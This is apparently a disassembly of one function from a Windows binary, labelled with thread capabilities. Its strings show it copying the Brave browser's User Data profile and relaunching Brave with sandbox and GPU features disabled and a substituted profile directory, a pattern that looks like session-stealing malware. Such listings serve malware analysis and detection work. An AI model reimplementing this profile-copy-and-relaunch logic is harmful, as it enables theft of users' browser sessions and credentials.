Function at 0x140016ac0
Capabilities:
Create thread
Terminate thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x90]
sub rsp, 0x190
mov rax, qword [0x140075030]
xor rax, rsp
mov qword [rbp + 0x80], rax
movzx r13d, dl
mov r12, rcx
xor r14d, r14d
mov dword [rsp + 0x70], r14d
lea rcx, str.LOCALAPPDATA
call fcn.140028b34
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], r14
mov qword [rbp + 0x58], r14
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x140016b30
mov rdx, rax
lea rcx, [rbp + 0x40]
call fcn.140007f00
nop
movabs rbx, 0x7fffffffffffffff
mov rax, rbx
mov rcx, qword [rbp + 0x50]
sub rax, rcx
cmp rax, 0x1d
jb 0x1400173d5
lea r9, [rbp + 0x40]
cmp qword [rbp + 0x58], 0x10
cmovae r9, qword [rbp + 0x40]
mov qword [rsp + 0x30], 0x1d
lea rax, str.BraveSoftwareBrave_Browser_
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x20]
call fcn.140008590
nop
mov rax, qword [rbp + 0x30]
sub rbx, rax
cmp rbx, 0xa
jb 0x1400173db
lea r9, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae r9, qword [rbp + 0x20]
mov qword [rsp + 0x30], 0xa
lea rcx, str.User_Data_
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea rcx, [rbp]
call fcn.140008590
nop
lea rax, [rsp + 0x40]
mov qword [rsp + 0x60], rax
lea rsi, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rsi, qword [rbp]
mov rdi, qword [rbp + 0x10]
call fcn.14001cb94
mov r15d, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r14
mov r14d, 7
mov qword [rsp + 0x58], r14
xor eax, eax
mov word [rsp + 0x40], ax
mov dword [rsp + 0x70], 0x4c
test rdi, rdi
je 0x140016c9c
cmp rdi, 0x7fffffff
ja 0x1400173e1
mov dword [rsp + 0x20], eax
xor r9d, r9d
mov r8d, edi
mov rdx, rsi
mov ecx, r15d
call fcn.14001cbbc
mov rbx, rax
mov rcx, rax
shr rcx, 0x20
test ecx, ecx
jne 0x1400173e7
xor r8d, r8d
movsxd rdx, ebx
lea rcx, [rsp + 0x40]
call fcn.140005e50
lea r9, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae r9, qword [rsp + 0x40]
mov dword [rsp + 0x20], ebx
mov r8d, edi
mov rdx, rsi
mov ecx, r15d
call fcn.14001cbbc
shr rax, 0x20
test eax, eax
jne 0x1400173ed
lea rcx, [rsp + 0x40]
call fcn.140004240
movzx ebx, al
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x140016ceb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016ce6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400173f5
call fcn.14001e740
test bl, bl
jne 0x140016d2a
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xor esi, esi
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rsi
lea r8d, [rsi + 0x15]
lea rdx, str.Brave_does_not_exist_
lea rcx, [rsp + 0x40]
call fcn.140007f00
lea rdx, [rsp + 0x40]
mov rcx, r12
call fcn.140014dd0
jmp 0x1400172e1
lea rcx, [rbp - 0x80]
call fcn.140018d90
nop
lea r8, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae r8, qword [rbp + 0x20]
mov r9, qword [rbp + 0x30]
xor edx, edx
mov rcx, rax
call fcn.14000b050
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xor ebx, ebx
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140016db9
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016db4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400173fb
call fcn.14001e740
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], 0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x60], rax
lea rsi, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae rsi, qword [rbp - 0x40]
mov rdi, qword [rbp - 0x30]
call fcn.14001cb94
mov r15d, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], r14
mov word [rsp + 0x40], bx
mov dword [rsp + 0x70], 0x4bc
test rdi, rdi
je 0x140016e83
cmp rdi, 0x7fffffff
ja 0x140017401
mov dword [rsp + 0x20], ebx
xor r9d, r9d
mov r8d, edi
mov rdx, rsi
mov ecx, eax
call fcn.14001cbbc
mov rbx, rax
mov rcx, rax
shr rcx, 0x20
test ecx, ecx
jne 0x140017407
xor r8d, r8d
movsxd rdx, ebx
lea rcx, [rsp + 0x40]
call fcn.140005e50
lea r9, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae r9, qword [rsp + 0x40]
mov dword [rsp + 0x20], ebx
mov r8d, edi
mov rdx, rsi
mov ecx, r15d
call fcn.14001cbbc
shr rax, 0x20
test eax, eax
jne 0x14001740d
mov edi, 0x3bc
lea rcx, [rsp + 0x40]
call fcn.140004240
movzx ebx, al
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x140016ed7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016ed2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140017415
call fcn.14001e740
test bl, bl
jne 0x140017008
lea rax, [rsp + 0x40]
mov qword [rsp + 0x60], rax
lea rsi, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae rsi, qword [rbp - 0x40]
mov rdi, qword [rbp - 0x30]
call fcn.14001cb94
mov r15d, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xor eax, eax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], r14
mov word [rsp + 0x40], ax
mov dword [rsp + 0x70], 0x43bc
test rdi, rdi
je 0x140016fa1
cmp rdi, 0x7fffffff
ja 0x14001741b
mov dword [rsp + 0x20], eax
xor r9d, r9d
mov r8d, edi
mov rdx, rsi
mov ecx, r15d
call fcn.14001cbbc
mov rbx, rax
mov rcx, rax
shr rcx, 0x20
test ecx, ecx
jne 0x140017421
xor r8d, r8d
movsxd rdx, ebx
lea rcx, [rsp + 0x40]
call fcn.140005e50
lea r9, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae r9, qword [rsp + 0x40]
mov dword [rsp + 0x20], ebx
mov r8d, edi
mov rdx, rsi
mov ecx, r15d
call fcn.14001cbbc
shr rax, 0x20
test eax, eax
jne 0x140017427
mov r14, qword [rsp + 0x58]
mov edi, 0x33bc
lea rcx, [rsp + 0x40]
cmp r14, 8
cmovae rcx, qword [rsp + 0x40]
call fcn.14001d090
shr rax, 0x20
test eax, eax
jne 0x14001742f
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x140017008
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017003
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140017443
call fcn.14001e740
xor esi, esi
test r13b, r13b
je 0x14001712e
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rsi
lea r8d, [rsi + 0x1a]
lea rdx, str.Copying_Brave_Profile_Dir_
lea rcx, [rsp + 0x40]
call fcn.140007f00
lea rdx, [rsp + 0x40]
mov rcx, r12
call fcn.140014dd0
lea ecx, [rsi + 0x48]
call fcn.14001e550
mov rbx, rax
mov qword [rsp + 0x60], rax
mov qword [rax], r12
lea rcx, [rax + 8]
lea rdx, [rbp]
call fcn.1400060c0
nop
or edi, 1
mov dword [rsp + 0x70], edi
lea rcx, [rbx + 0x28]
lea rdx, [rbp - 0x40]
call fcn.1400060c0
nop
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
mov r9, rbx
lea r8, [0x140014380]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x60], rax
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x40]
call fcn.1400060c0
mov rbx, rax
lea rdx, [rbp]
lea rcx, [rbp - 0x60]
call fcn.1400060c0
nop
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call fcn.1400139e0
lea rax, [rdi - 1]
cmp rax, 0xfffffffffffffffd
ja 0x1400170f8
lea edx, [rsi + 1]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov edx, 0xffffffff
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rsi
mov r8d, 0x20
lea rdx, str.Copying_Brave_Profile_Dir_Ended_
lea rcx, [rsp + 0x40]
call fcn.140007f00
lea rdx, [rsp + 0x40]
mov rcx, r12
call fcn.140014dd0
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rsi
mov qword [rbp - 8], rsi
mov r8d, 0x1b
lea rdx, str.C:WindowsSystem32cmd.exe
lea rcx, [rbp - 0x20]
call fcn.140007f00
nop
lea rax, str._c_start_brave___allow_no_sandbox_job___disable_gpu___disable_d3d11___user_data_dir__
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 0x58
lea rax, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae rax, qword [rbp - 0x40]
mov qword [rsp + 0x60], rax
mov rax, qword [rbp - 0x30]
mov qword [rsp + 0x68], rax
movups xmm0, xmmword [rsp + 0x60]
movups xmmword [rsp + 0x48], xmm0
movabs rax, 0xc000000000000000
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x60], 1
lea rax, [rsp + 0x40]
mov qword [rsp + 0x68], rax
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x70], xmm1
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x60]
call fcn.140009180
nop
lea rdx, [rbp + 0x60]
cmp qword [rbp + 0x78], 0x10
cmovae rdx, qword [rbp + 0x60]
lea rcx, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae rcx, qword [rbp - 0x20]
mov r8b, 1
call fcn.140015660
nop
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x14001723b
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017236
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140017449
call fcn.14001e740
mov qword [rbp + 0x70], rsi
mov qword [rbp + 0x78], 0xf
mov byte [rbp + 0x60], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140017286
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017281
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001744f
call fcn.14001e740
mov qword [rbp - 0x10], rsi
mov qword [rbp - 8], 0xf
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x1400172d1
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400172cc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140017455
call fcn.14001e740
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x14001731c
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017317
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001745b
call fcn.14001e740
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x18], 0xf
mov byte [rbp], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x140017368
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017362
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140017461
call fcn.14001e740
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x14001739f
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001739a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400173cf
call fcn.14001e740
mov rcx, qword [rbp + 0x80]
xor rcx, rsp
call fcn.14001e530
lea r11, [rsp + 0x190]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140025808
nop
call fcn.1400012d0
nop
call fcn.1400012d0
nop
call fcn.1400017d0
int3
call fcn.140001ab0
int3
mov ecx, eax
call fcn.140001ab0
nop
call fcn.140025808
nop
call fcn.140025808
nop
call fcn.1400017d0
int3
call fcn.140001ab0
int3
mov ecx, eax
call fcn.140001ab0
nop
call fcn.140025808
nop
call fcn.1400017d0
int3
call fcn.140001ab0
int3
mov ecx, eax
call fcn.140001ab0
nop
lea r8, [rsp + 0x40]
mov edx, eax
lea rcx, str.create_directory
call fcn.1400040f0
nop
call fcn.140025808
nop
call fcn.140025808
nop
call fcn.140025808
nop
call fcn.140025808
nop
call fcn.140025808
nop
call fcn.140025808
int3